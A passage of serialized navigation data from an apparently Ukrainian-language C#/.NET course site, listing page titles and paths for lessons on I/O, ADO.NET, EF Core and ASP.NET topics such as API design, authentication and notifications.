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Програмування","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-fundamentals","01.csharp\u002F07.system-programming-windows\u002F12.async-fundamentals",{"title":344,"path":345,"stem":346},"SynchronizationContext та ConfigureAwait — Контекст Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-context-configureawait","01.csharp\u002F07.system-programming-windows\u002F13.async-context-configureawait",{"title":348,"path":349,"stem":350},"Async — Просунуті Паттерни","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-advanced","01.csharp\u002F07.system-programming-windows\u002F14.async-advanced",{"title":352,"path":353,"stem":354},"System.Threading.Channels — Async Producer-Consumer","\u002Fcsharp\u002Fsystem-programming-windows\u002Fchannels","01.csharp\u002F07.system-programming-windows\u002F15.channels",{"title":356,"path":357,"stem":358},"Асинхронна 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ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та Транзакції (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через 